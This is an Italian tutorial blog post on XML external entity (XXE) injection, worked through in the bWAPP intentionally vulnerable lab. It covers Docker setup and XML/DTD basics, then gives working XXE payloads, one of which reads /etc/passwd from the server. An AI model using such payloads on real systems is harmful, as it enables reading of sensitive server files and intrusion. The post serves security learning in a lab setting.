bWAPP, anche conosciuta come buggy web application è un’applicazione web gratuita ed open source resa consciamente insicura e vulnerabile. Infatti, aiuta gli appassionati di sicurezza informatica e non a scoprire e prevenire vulnerabilità in ambito Web.

Link al sito web principale: itsecgames.com.

Installare bWAPP con Docker

Se non conosci docker e vorresti approfondire questa tecnologia ti rimando al nostro video sul canale Youtube : Come usare Docker – Deploy & Privilege Escalation – YouTube.

Link Docker Image : raesene/bwapp (docker.com)
Dopo aver installato Docker non ci resta altro che eseguire il seguente comando:

docker run -d -p 80:80 raesene/bwapp

Ora possiamo recarci su: http://localhost/install.php.
Arrivati alla pagina di login possiamo loggare con bee / bugs ed accedere alla dashboard che dovrebbe presentarsi in questo modo:

dashboard bWAPP

Da qui possiamo decidere su quale laboratorio andare e settare anche la difficoltà della sfida in alto a destra.

Parliamo di XML e identità!

XML è un linguaggio di markup comunemente utilizzato nello sviluppo web. Viene utilizzato per la memorizzazione e il trasporto dei dati.
XML sta per “Extensible Markup Language“. È un linguaggio autodescrittivo. Non contiene nessun tag predefinito ma tutti i tag sono definiti dall’utente a seconda dei dati che vuole rappresentare, ad esempio <carlino></carlino>, <pms></pms> e così via.

<?xml version = "numero della versione" encoding = "tipo di encoding" standalone = "status" ?>

Il primo campo specifica la versione, che può essere 1.0 oppure 1.1, il secondo campo specifica la codifica da utilizzare, quella di default è UTF-8 ma ne esistono anche altre come UTF-16, ISO-2022-JP e molte altre. Il campo standalone informa se ci sono riferimenti a risorse esterne, di default è settato su no.

Il modo di rappresentare i dati nei file XML è dato dalle entità. Esistono varie entità integrate nel linguaggio XML come &lt; e &gt; che vengono utilizzate come caratteri di minore e maggiore. Tutti questi sono metacaratteri, e generalmente vengono rappresentati utilizzando entità che appaiono nei dati. Le entità esterne XML sono entità che si trovano all’estero del DTD.

<!ENTITY carl SYSTEM "URL">

Nell’ultimo snippet di codice carl è il nome dell’entità, SYSTEM è la parola chiave utilizzata e URL è l’effettivo URL che vogliamo per eseguire un XXE.

Ma cos’è un DTD (Document Type Definition)? Il DTD viene utilizzato per la dichiarazione della struttura del documento XML. Può essere presente all’interno del file XML oppure può essere definito separatamente. Viene dichiarato all’inizio di un file XML utilizzando <! DOCTYPE> .
Esistono diversi tipi di DTD ma quelli a cui siamo interessati noi sono i DTD esterni.

<!DOCTYPE carl SYSTEM "URL" [..] >

SYSTEM ci consente di specificare la posizione del file esterno che contiene la dichiarazione del DTD.

Introduzione XXE

L’iniezione di entità esterne XML (nota anche come XXE) è una vulnerabilità di sicurezza web che consente ad un utente malintenzionato di interferire con l’elaborazione dei dati XML da parte di un’applicazione. Spesso consente ad un utente malintenzionato di visualizzare i file presenti nel file system del server e di interagire con qualsiasi sistema esterno o di back-end a cui l’applicazione può accedere (RCE). In alcune situazioni, un utente malintenzionato può addirittura escalare un attacco XXE sfruttando lo stesso attacco per eseguire attacchi SSRF (server-side request forgery).

Laboratorio bWAPP

Ora possiamo passare al laboratorio che ci propone l’applicazione vulnerabile bWAPP!
Selezioniamo il laboratorio e clicchiamo su Hack.

Il laborario si presentà con un button e nient’altro di interessante.
Apriamo BurpSuite , intercettiamo la richiesta e mandiamola al Repeater.

Vediamo come la default request si comporta.

Il server risponde dicendo che il secret di bee è stato ripristinato. Ora come prima cosa potremmo provare a modificare la richiesta e vedere se è possibile inviare stringhe in modo arbitrario.

In questo modo possiamo capire che nel <login> è possibile iniettare codice malevolo.
Procediamo a creare un payload.

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE robots [

<!ENTITY PMS SYSTEM "http://localhost/robots.txt">

]>

<reset><login>&PMS;</login><secret>Any bugs?</secret></reset>

Da qui notiamo che è possibile leggere il contenuto del file robots.txt presente sul webserver. Questo ci fa capire che possiamo richiamare file locali.
In questo caso il payload viene trasmesso al server, e poiché non c’è nessun filtro per evitare XXE il server invierà una richiesta ad un parser XML che invierà l’output del file XML analizzato. In questo caso il file robots.txt.

Ora cercheremo di ottenere /etc/passwd. In questo caso possiamo avvalerci del wrapper per rappresentare il filesystem file://.

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE robots [

<!ENTITY PMS SYSTEM "file:////etc/passwd">

]>

<reset><login>&PMS;</login><secret>Any bugs?</secret></reset>

Network

Se l’articolo vi è piaciuto, potete continuare a seguirci, oltre che su questo blog, anche sugli altri canali attivi e ricchi di contenuti: Twitch e YouTube.
Non esitate a lasciarci feedback, domande o precisazioni nei commenti o sui nostri canali social di Telegram e Discord!

Donato Di Pasquale
Donato Di Pasquale
@dipa996 | eWPT | CyberSecurity Enthusiast | Blog writer per PentestingMadeSimple

Lascia un commento